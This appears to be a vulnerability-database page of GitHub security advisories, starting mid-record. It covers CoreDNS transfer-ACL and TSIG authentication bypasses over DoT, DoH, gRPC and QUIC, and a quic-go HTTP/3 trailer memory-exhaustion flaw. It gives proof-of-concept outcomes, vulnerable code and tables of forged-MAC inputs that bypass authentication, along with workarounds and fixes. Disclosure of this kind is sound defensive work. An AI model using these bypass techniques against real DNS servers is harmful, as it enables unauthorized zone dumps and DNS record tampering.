"details": "### Summary\nCoreDNS\u0027 transfer plugin can select the wrong ACL stanza when both a parent zone and a more-specific subzone are configured. A permissive parent-zone transfer rule can override a restrictive subzone rule (name-dependent), allowing an unauthorized client to perform AXFR/IXFR for the subzone and retrieve its zone contents.\n\n### Details\nIn plugin/transfer/transfer.go, stanza selection is implemented by longestMatch(), which is documented as \"longest zone match wins\", but it actually chooses the winner via a lexicographic string comparison:\n- zone := \"\" // longest zone match wins (plugin/transfer/transfer.go)\n- if z \u003e zone { zone = z; x = xfr } (plugin/transfer/transfer.go)\n\nSo, a parent zone like example.org. can beat a child zone like a.example.org. purely due to lexicographic ordering (\"example.org.\" \u003e \"a.example.org.\"), even though the child zone is the longer/more specific suffix match. The bypass is data-dependent (some child labels will win, some will lose), making it operationally non-intuitive.\n\n### PoC\n1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)\n2. Run python3 ./acl-repro.py\n3. Expected output:\n*** Baseline (only subzone transfer rule) ***\naxfr a.example.org.: rcode=5 ancount=0 (expected REFUSED=5)\n\n*** Candidate (add permissive parent transfer rule) ***\naxfr a.example.org.: rcode=0 ancount=5 (expected NOERROR=0 with ancount\u003e0)\n\n*** OK ***\nSubzone transfer ACL bypass reproduced: adding a permissive parent-zone stanza can override a stricter child-zone stanza due to lexicographic zone selection.\n\n### Impact\nUnauthorized zone transfer can expose full zone contents to a remote network client that was intended to be denied by a subzone-specific transfer policy.",
"id": "GHSA-h8mm-c463-wjq3",
"modified": "2026-05-08T15:28:38Z",
"published": "2026-04-28T22:44:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-h8mm-c463-wjq3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33489"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreDNS\u0027 transfer stanza selection uses lexicographic compare (subzone ACL bypass)"
}
GHSA-QHMP-Q7XH-99RH
Vulnerability from github – Published: 2026-04-28 22:46 – Updated: 2026-05-08 15:28Summary
CoreDNS' tsig plugin can be bypassed on non-plain-DNS transports because it trusts the transport writer's TsigStatus() instead of performing verification itself. In the attached PoC, plain DNS/TCP correctly rejects an invalid TSIG (NOTAUTH), while the same invalid-TSIG request is accepted over DoT (tls://) and DoH (https://), allowing a client without the shared secret to satisfy require all. The same bug class affects DoH3, DoQ, and gRPC.
Details
The tsig plugin decides whether an incoming TSIG was valid by consulting w.TsigStatus(): tsigStatus := w.TsigStatus(); if tsigStatus != nil { ... NOTAUTH ... } (plugin/tsig/tsig.go)
Two affected transports are shown directly in the PoC: - DoH: DoHWriter.TsigStatus() always returns nil (core/dnsserver/https.go), and the HTTP server passes unpacked DNS messages directly into the plugin chain. - DoT: the TLS server builds a dns.Server without setting TsigSecret (core/dnsserver/server_tls.go), unlike plain DNS/TCP/UDP which sets TsigSecret: s.tsigSecret (core/dnsserver/server.go).
The same transport-family bug pattern also appears on other transports: - DoH3 reuses the DoH writer path (core/dnsserver/server_https3.go -> core/dnsserver/https.go), so it inherits the same TsigStatus() == nil behavior. - DoQ uses DoQWriter.TsigStatus() error { return nil } (core/dnsserver/quic.go). - gRPC uses gRPCresponse.TsigStatus() error { return nil } (core/dnsserver/server_grpc.go).
The attached PoC was kept deliberately small (baseline TCP+DoT+DoH only) for convenience.
PoC
- Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)
- Run python3 ./tsig-repro.py
- Expected output: *** Start CoreDNS *** Corefile: /tmp/vh-f001-tsig-doh-dot-bypass/Corefile Log: /tmp/vh-f001-tsig-doh-dot-bypass/coredns.log
*** Baseline (plain TCP) *** no_tsig rcode=5 (expected REFUSED=5) invalid_tsig rcode=9 (expected NOTAUTH=9)
*** Candidate (DoT) *** no_tsig rcode=5 (expected REFUSED=5) invalid_tsig rcode=0 ancount=1 (expected NOERROR=0 and ancount>0)
*** Candidate (DoH) *** no_tsig http=200 rcode=5 (expected REFUSED=5) invalid_tsig http=200 rcode=0 ancount=1 (expected NOERROR=0 and ancount>0)
*** OK *** TSIG bypass reproduced: plain TCP rejects invalid TSIG, while DoT and DoH accept it. Results: /tmp/vh-f001-tsig-doh-dot-bypass/results.json
Impact
Unauthenticated remote clients can bypass TSIG-based authentication/authorization on first-class encrypted transports, enabling access to whatever the deployment intended to restrict behind tsig { require all } (e.g., zone data/privileged queries, etc.).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33190"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-303"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:46:15Z",
"nvd_published_at": "2026-05-05T20:16:36Z",
"severity": "HIGH"
},
"details": "### Summary\nCoreDNS\u0027 tsig plugin can be bypassed on non-plain-DNS transports because it trusts the transport writer\u0027s TsigStatus() instead of performing verification itself. In the attached PoC, plain DNS/TCP correctly rejects an invalid TSIG (NOTAUTH), while the same invalid-TSIG request is accepted over DoT (tls://) and DoH (https://), allowing a client without the shared secret to satisfy require all. The same bug class affects DoH3, DoQ, and gRPC.\n\n### Details\nThe tsig plugin decides whether an incoming TSIG was valid by consulting w.TsigStatus(): tsigStatus := w.TsigStatus(); if tsigStatus != nil { ... NOTAUTH ... } (plugin/tsig/tsig.go)\n\nTwo affected transports are shown directly in the PoC:\n- DoH: DoHWriter.TsigStatus() always returns nil (core/dnsserver/https.go), and the HTTP server passes unpacked DNS messages directly into the plugin chain.\n- DoT: the TLS server builds a dns.Server without setting TsigSecret (core/dnsserver/server_tls.go), unlike plain DNS/TCP/UDP which sets TsigSecret: s.tsigSecret (core/dnsserver/server.go).\n\nThe same transport-family bug pattern also appears on other transports:\n- DoH3 reuses the DoH writer path (core/dnsserver/server_https3.go -\u003e core/dnsserver/https.go), so it inherits the same TsigStatus() == nil behavior.\n- DoQ uses DoQWriter.TsigStatus() error { return nil } (core/dnsserver/quic.go).\n- gRPC uses gRPCresponse.TsigStatus() error { return nil } (core/dnsserver/server_grpc.go).\n\nThe attached PoC was kept deliberately small (baseline TCP+DoT+DoH only) for convenience.\n\n### PoC\n1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)\n2. Run python3 ./tsig-repro.py\n3. Expected output:\n*** Start CoreDNS ***\nCorefile: /tmp/vh-f001-tsig-doh-dot-bypass/Corefile\nLog: /tmp/vh-f001-tsig-doh-dot-bypass/coredns.log\n\n*** Baseline (plain TCP) ***\nno_tsig rcode=5 (expected REFUSED=5)\ninvalid_tsig rcode=9 (expected NOTAUTH=9)\n\n*** Candidate (DoT) ***\nno_tsig rcode=5 (expected REFUSED=5)\ninvalid_tsig rcode=0 ancount=1 (expected NOERROR=0 and ancount\u003e0)\n\n*** Candidate (DoH) ***\nno_tsig http=200 rcode=5 (expected REFUSED=5)\ninvalid_tsig http=200 rcode=0 ancount=1 (expected NOERROR=0 and ancount\u003e0)\n\n*** OK ***\nTSIG bypass reproduced: plain TCP rejects invalid TSIG, while DoT and DoH accept it.\nResults: /tmp/vh-f001-tsig-doh-dot-bypass/results.json\n\n\n### Impact\nUnauthenticated remote clients can bypass TSIG-based authentication/authorization on first-class encrypted transports, enabling access to whatever the deployment intended to restrict behind tsig { require all } (e.g., zone data/privileged queries, etc.).",
"id": "GHSA-qhmp-q7xh-99rh",
"modified": "2026-05-08T15:28:24Z",
"published": "2026-04-28T22:46:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-qhmp-q7xh-99rh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33190"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreDNS has TSIG authentication bypass on DoT, DoH, DoH3, DoQ, and gRPC"
}
GHSA-VP29-5652-4FW9
Vulnerability from github – Published: 2026-04-28 22:54 – Updated: 2026-05-08 15:30Summary
The gRPC, QUIC, DoH, and DoH3 transports in CoreDNS incorrectly handle TSIG authentication.
For gRPC and QUIC, CoreDNS checks whether the TSIG key name exists in the config, but does not actually verify the TSIG HMAC. If the key name matches, tsigStatus remains nil and the tsig plugin treats the request as "verified".
For DoH and DoH3, the issue is worse: TSIG is not verified at all. The DoH response writer has TsigStatus() hardcoded to return nil, so any request containing a TSIG record is treated as authenticated, even if the key name is invalid and the MAC is garbage.
As a result, attackers may bypass TSIG authentication on affected transports and access TSIG-protected functionality such as AXFR/IXFR zone transfers, dynamic updates, or other TSIG-gated plugin behavior.
Details
In server_grpc.go and server_quic.go, the TSIG handling checks whether the TSIG key name exists, but does not call dns.TsigVerify().
Relevant code before fix:
if tsig := msg.IsTsig(); tsig != nil {
if s.tsigSecret == nil {
w.tsigStatus = dns.ErrSecret
} else if _, ok := s.tsigSecret[tsig.Hdr.Name]; !ok {
w.tsigStatus = dns.ErrSecret
}
// key found -> nothing happens -> tsigStatus stays nil -> "verified"
}
This means that for gRPC and QUIC, a request with a known TSIG key name but an invalid MAC is accepted as authenticated.
PRs #7943 and #7947 partially addressed this area by adding key name checks for gRPC and QUIC, but did not add HMAC verification.
The DoH and DoH3 paths have an even weaker failure mode. In https.go, DoHWriter.TsigStatus() returned nil unconditionally:
func (d *DoHWriter) TsigStatus() error {
return nil
}
In server_https.go, the incoming DNS message is unpacked from the HTTP request and passed directly into ServeDNS() without checking msg.IsTsig(), without looking up the TSIG key name, and without calling dns.TsigVerify().
The same pattern exists in the DoH3 path in server_https3.go.
The effective DoH/DoH3 flow before the fix was:
- HTTP or HTTP/3 request arrives.
- DNS message is unpacked from the request.
- A
DoHWriteris created. - The message is passed to
ServeDNS(). - The tsig plugin checks
w.TsigStatus(). TsigStatus()returns nil.- nil is interpreted as successful TSIG verification.
This means that for DoH and DoH3, CoreDNS did not even require a valid TSIG key name. Any TSIG record was enough to satisfy the tsig plugin, regardless of key name or MAC contents.
PoC
Setup: built CoreDNS from master at commit 12d9457 and also verified against the v1.14.2 release binary. Configured a single test zone with 9 records and tsig { require all }.
Listeners used the same TSIG configuration and key:
- TCP on port 1053, using the normal
dns.Serverpath where TSIG HMAC verification works correctly - gRPC on port 1443, using manual TSIG handling
- DoH on port 8443
- DoH3 with the same TSIG configuration
gRPC / QUIC behavior
A test client sent AXFR requests over gRPC with a valid TSIG key name but forged MAC values. The same requests were sent over TCP for comparison.
| MAC used | gRPC | TCP |
|---|---|---|
| 32 zero bytes | BYPASS, 9 records returned | BADSIG |
| 32 random bytes | BYPASS, 9 records returned | BADSIG |
| HMAC computed with wrong secret | BYPASS, 9 records returned | BADSIG |
| truncated to 16 bytes | BYPASS, 9 records returned | BADSIG |
single byte 0x41 |
BYPASS, 9 records returned | BADSIG |
| empty MAC | BYPASS, 9 records returned | BADSIG |
| wrong key name + zero MAC | REJECTED, NOTAUTH/BADKEY | REJECTED, NOTAUTH/BADKEY |
6 out of 7 forged TSIG requests bypassed authentication over gRPC and returned a full zone transfer. The only rejected case was the wrong key name, because the gRPC path checked whether the key name existed.
The same class applied to QUIC.
DoH / DoH3 behavior
For DoH, a test client sent DNS queries over HTTPS POST to /dns-query with forged TSIG records. These requests were also compared against TCP.
| TSIG variant | DoH result | TCP result |
|---|---|---|
| 32 zero bytes | BYPASS, NOERROR | BADSIG |
| 32 random bytes | BYPASS, NOERROR | BADSIG |
| HMAC computed with wrong secret | BYPASS, NOERROR | BADSIG |
| truncated to 16 bytes | BYPASS, NOERROR | BADSIG |
single byte 0x41 |
BYPASS, NOERROR | BADSIG |
| empty MAC | BYPASS, NOERROR | BADSIG |
| bad key name | BYPASS, NOERROR | NOTAUTH/BADKEY |
| no TSIG record | REJECTED, REFUSED | REJECTED, REFUSED |
7 out of 8 cases bypassed authentication over DoH. Every request containing a TSIG record was accepted, including requests with an invalid key name.
An AXFR request over DoH with a forged TSIG record using a zero-byte MAC returned the full test zone.
The same pattern applies to DoH3 because it used the same DoHWriter TSIG behavior and did not verify TSIG before passing the message into the plugin chain.
To confirm that the tsig plugin itself was enforcing policy, requests with no TSIG record were rejected with REFUSED. The bypass happens because the transport layer reports successful TSIG verification when verification either did not happen or only checked the key name.
Impact
An unauthenticated network attacker may bypass TSIG authentication on affected CoreDNS transports.
Depending on configuration, this may allow an attacker to:
- perform AXFR or IXFR zone transfers over affected transports
- dump TSIG-protected zone data
- submit dynamic DNS updates if enabled
- bypass other TSIG-gated plugin behavior
- authenticate over DoH or DoH3 without knowing a valid TSIG key name
The DoH and DoH3 variants have a lower exploitation bar than gRPC and QUIC because the attacker does not need to know a configured TSIG key name. Any TSIG record is treated as valid.
Affected transports
- gRPC
- QUIC
- DoH
- DoH3
Workarounds
If upgrading is not immediately possible:
- Disable gRPC, QUIC, DoH, and DoH3 listeners where TSIG authentication is required.
- Restrict network-level access to affected transport ports to trusted sources only.
- Avoid exposing TSIG-protected functionality such as AXFR, IXFR, or dynamic updates over affected transports.
Fix
Affected transports must verify TSIG before passing the DNS message into the plugin chain.
For requests containing a TSIG record, the transport should:
- check whether TSIG secrets are configured
- verify that the TSIG key name exists
- call
dns.TsigVerify()against the original wire-format message - store the resulting status in the response writer
- return that status from
TsigStatus()
A successful key name lookup alone is not sufficient. A nil TSIG status must only be returned after successful HMAC verification.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35579"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:54:32Z",
"nvd_published_at": "2026-05-05T21:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe gRPC, QUIC, DoH, and DoH3 transports in CoreDNS incorrectly handle TSIG authentication.\n\nFor gRPC and QUIC, CoreDNS checks whether the TSIG key name exists in the config, but does not actually verify the TSIG HMAC. If the key name matches, `tsigStatus` remains nil and the tsig plugin treats the request as \"verified\".\n\nFor DoH and DoH3, the issue is worse: TSIG is not verified at all. The DoH response writer has `TsigStatus()` hardcoded to return nil, so any request containing a TSIG record is treated as authenticated, even if the key name is invalid and the MAC is garbage.\n\nAs a result, attackers may bypass TSIG authentication on affected transports and access TSIG-protected functionality such as AXFR/IXFR zone transfers, dynamic updates, or other TSIG-gated plugin behavior.\n\n### Details\n\nIn `server_grpc.go` and `server_quic.go`, the TSIG handling checks whether the TSIG key name exists, but does not call `dns.TsigVerify()`.\n\nRelevant code before fix:\n\n```go\nif tsig := msg.IsTsig(); tsig != nil {\n if s.tsigSecret == nil {\n w.tsigStatus = dns.ErrSecret\n } else if _, ok := s.tsigSecret[tsig.Hdr.Name]; !ok {\n w.tsigStatus = dns.ErrSecret\n }\n // key found -\u003e nothing happens -\u003e tsigStatus stays nil -\u003e \"verified\"\n}\n```\n\nThis means that for gRPC and QUIC, a request with a known TSIG key name but an invalid MAC is accepted as authenticated.\n\nPRs #7943 and #7947 partially addressed this area by adding key name checks for gRPC and QUIC, but did not add HMAC verification.\n\nThe DoH and DoH3 paths have an even weaker failure mode. In `https.go`, `DoHWriter.TsigStatus()` returned nil unconditionally:\n\n```go\nfunc (d *DoHWriter) TsigStatus() error {\n return nil\n}\n```\n\nIn `server_https.go`, the incoming DNS message is unpacked from the HTTP request and passed directly into `ServeDNS()` without checking `msg.IsTsig()`, without looking up the TSIG key name, and without calling `dns.TsigVerify()`.\n\nThe same pattern exists in the DoH3 path in `server_https3.go`.\n\nThe effective DoH/DoH3 flow before the fix was:\n\n1. HTTP or HTTP/3 request arrives.\n2. DNS message is unpacked from the request.\n3. A `DoHWriter` is created.\n4. The message is passed to `ServeDNS()`.\n5. The tsig plugin checks `w.TsigStatus()`.\n6. `TsigStatus()` returns nil.\n7. nil is interpreted as successful TSIG verification.\n\nThis means that for DoH and DoH3, CoreDNS did not even require a valid TSIG key name. Any TSIG record was enough to satisfy the tsig plugin, regardless of key name or MAC contents.\n\n### PoC\n\nSetup: built CoreDNS from master at commit `12d9457` and also verified against the v1.14.2 release binary. Configured a single test zone with 9 records and `tsig { require all }`.\n\nListeners used the same TSIG configuration and key:\n\n- TCP on port 1053, using the normal `dns.Server` path where TSIG HMAC verification works correctly\n- gRPC on port 1443, using manual TSIG handling\n- DoH on port 8443\n- DoH3 with the same TSIG configuration\n\n#### gRPC / QUIC behavior\n\nA test client sent AXFR requests over gRPC with a valid TSIG key name but forged MAC values. The same requests were sent over TCP for comparison.\n\n| MAC used | gRPC | TCP |\n|----------|------|-----|\n| 32 zero bytes | BYPASS, 9 records returned | BADSIG |\n| 32 random bytes | BYPASS, 9 records returned | BADSIG |\n| HMAC computed with wrong secret | BYPASS, 9 records returned | BADSIG |\n| truncated to 16 bytes | BYPASS, 9 records returned | BADSIG |\n| single byte `0x41` | BYPASS, 9 records returned | BADSIG |\n| empty MAC | BYPASS, 9 records returned | BADSIG |\n| wrong key name + zero MAC | REJECTED, NOTAUTH/BADKEY | REJECTED, NOTAUTH/BADKEY |\n\n6 out of 7 forged TSIG requests bypassed authentication over gRPC and returned a full zone transfer. The only rejected case was the wrong key name, because the gRPC path checked whether the key name existed.\n\nThe same class applied to QUIC.\n\n#### DoH / DoH3 behavior\n\nFor DoH, a test client sent DNS queries over HTTPS POST to `/dns-query` with forged TSIG records. These requests were also compared against TCP.\n\n| TSIG variant | DoH result | TCP result |\n|-------------|------------|------------|\n| 32 zero bytes | BYPASS, NOERROR | BADSIG |\n| 32 random bytes | BYPASS, NOERROR | BADSIG |\n| HMAC computed with wrong secret | BYPASS, NOERROR | BADSIG |\n| truncated to 16 bytes | BYPASS, NOERROR | BADSIG |\n| single byte `0x41` | BYPASS, NOERROR | BADSIG |\n| empty MAC | BYPASS, NOERROR | BADSIG |\n| bad key name | BYPASS, NOERROR | NOTAUTH/BADKEY |\n| no TSIG record | REJECTED, REFUSED | REJECTED, REFUSED |\n\n7 out of 8 cases bypassed authentication over DoH. Every request containing a TSIG record was accepted, including requests with an invalid key name.\n\nAn AXFR request over DoH with a forged TSIG record using a zero-byte MAC returned the full test zone.\n\nThe same pattern applies to DoH3 because it used the same `DoHWriter` TSIG behavior and did not verify TSIG before passing the message into the plugin chain.\n\nTo confirm that the tsig plugin itself was enforcing policy, requests with no TSIG record were rejected with `REFUSED`. The bypass happens because the transport layer reports successful TSIG verification when verification either did not happen or only checked the key name.\n\n### Impact\n\nAn unauthenticated network attacker may bypass TSIG authentication on affected CoreDNS transports.\n\nDepending on configuration, this may allow an attacker to:\n\n- perform AXFR or IXFR zone transfers over affected transports\n- dump TSIG-protected zone data\n- submit dynamic DNS updates if enabled\n- bypass other TSIG-gated plugin behavior\n- authenticate over DoH or DoH3 without knowing a valid TSIG key name\n\nThe DoH and DoH3 variants have a lower exploitation bar than gRPC and QUIC because the attacker does not need to know a configured TSIG key name. Any TSIG record is treated as valid.\n\n### Affected transports\n\n- gRPC\n- QUIC\n- DoH\n- DoH3\n\n### Workarounds\n\nIf upgrading is not immediately possible:\n\n- Disable gRPC, QUIC, DoH, and DoH3 listeners where TSIG authentication is required.\n- Restrict network-level access to affected transport ports to trusted sources only.\n- Avoid exposing TSIG-protected functionality such as AXFR, IXFR, or dynamic updates over affected transports.\n\n### Fix\n\nAffected transports must verify TSIG before passing the DNS message into the plugin chain.\n\nFor requests containing a TSIG record, the transport should:\n\n1. check whether TSIG secrets are configured\n2. verify that the TSIG key name exists\n3. call `dns.TsigVerify()` against the original wire-format message\n4. store the resulting status in the response writer\n5. return that status from `TsigStatus()`\n\nA successful key name lookup alone is not sufficient. A nil TSIG status must only be returned after successful HMAC verification.",
"id": "GHSA-vp29-5652-4fw9",
"modified": "2026-05-08T15:30:59Z",
"published": "2026-04-28T22:54:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-vp29-5652-4fw9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35579"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreDNS has TSIG authentication bypass on gRPC and QUIC transports"
}
GHSA-VVGJ-X9JQ-8CJ9
Vulnerability from github – Published: 2026-06-03 20:59 – Updated: 2026-06-09 11:54Summary
An attacker can cause excessive memory allocation in quic-go's HTTP/3 client and server implementations by sending a QPACK-encoded HEADERS frame that decodes into a large trailer field section with many unique field names and/or large values. The implementation builds an http.Header for the corresponding http.Request or http.Response, while only enforcing limits on the size of the QPACK-compressed HEADERS frame, not on the decoded field section. This can lead to memory exhaustion.
This is very similar to CVE-2025-64702. The difference is that this issue uses HTTP trailers, rather than HTTP headers, as the attack vector.
Impact
A misbehaving or malicious peer can cause a denial-of-service (DoS) attack against quic-go's HTTP/3 servers or clients by triggering excessive memory allocation, potentially leading to crashes or resource exhaustion. This affects both servers and clients due to symmetric header construction.
Details
In HTTP/3, field sections are compressed using QPACK (RFC 9204). Field sections are used for both HTTP headers and trailers. quic-go's HTTP/3 server and client decode the QPACK-encoded HEADERS frame into header fields, then construct an http.Request or http.Response.
http3.Server.MaxHeaderBytes and http3.Transport.MaxResponseHeaderBytes limit the encoded HEADERS frame size, with defaults of 1 MB for servers and 10 MB for clients. However, they did not limit the decoded field section size. A maliciously crafted HEADERS frame carrying trailers can expand to about 50x the encoded size using QPACK static table entries with long names and/or values.
RFC 9114 requires endpoints to enforce decoded field section size limits via SETTINGS, which quic-go did not do for trailers.
The Fix
quic-go now enforces RFC 9114 decoded field section size limits for trailers as well. It incrementally decodes QPACK entries and checks the field section size after each entry, aborting the stream if an entry causes the limit to be exceeded.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.59.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/quic-go/quic-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.59.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40898"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-03T20:59:49Z",
"nvd_published_at": "2026-06-04T19:16:28Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAn attacker can cause excessive memory allocation in quic-go\u0027s HTTP/3 client and server implementations by sending a QPACK-encoded HEADERS frame that decodes into a large trailer field section with many unique field names and/or large values. The implementation builds an `http.Header` for the corresponding `http.Request` or `http.Response`, while only enforcing limits on the size of the QPACK-compressed HEADERS frame, not on the decoded field section. This can lead to memory exhaustion.\n\nThis is very similar to CVE-2025-64702. The difference is that this issue uses HTTP trailers, rather than HTTP headers, as the attack vector.\n\n## Impact\n\nA misbehaving or malicious peer can cause a denial-of-service (DoS) attack against quic-go\u0027s HTTP/3 servers or clients by triggering excessive memory allocation, potentially leading to crashes or resource exhaustion. This affects both servers and clients due to symmetric header construction.\n\n## Details\n\nIn HTTP/3, field sections are compressed using QPACK (RFC 9204). Field sections are used for both HTTP headers and trailers. quic-go\u0027s HTTP/3 server and client decode the QPACK-encoded HEADERS frame into header fields, then construct an `http.Request` or `http.Response`.\n\n`http3.Server.MaxHeaderBytes` and `http3.Transport.MaxResponseHeaderBytes` limit the encoded HEADERS frame size, with defaults of 1 MB for servers and 10 MB for clients. However, they did not limit the decoded field section size. A maliciously crafted HEADERS frame carrying trailers can expand to about 50x the encoded size using QPACK static table entries with long names and/or values.\n\nRFC 9114 requires endpoints to enforce decoded field section size limits via SETTINGS, which quic-go did not do for trailers.\n\n## The Fix\n\nquic-go now enforces RFC 9114 decoded field section size limits for trailers as well. It incrementally decodes QPACK entries and checks the field section size after each entry, aborting the stream if an entry causes the limit to be exceeded.",
"id": "GHSA-vvgj-x9jq-8cj9",
"modified": "2026-06-09T11:54:12Z",
"published": "2026-06-03T20:59:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/security/advisories/GHSA-vvgj-x9jq-8cj9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40898"
},
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/pull/5642"
},
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/commit/c56e8c79d1627cc1ed6005b421b4b0adadd83665"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-g754-hx8w-x2g6"
},
{
"type": "PACKAGE",
"url": "https://github.com/quic-go/quic-go"
},
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/releases/tag/v0.59.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "quic-go: HTTP/3 QPACK Trailer Expansion Memory Exhaustion "
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.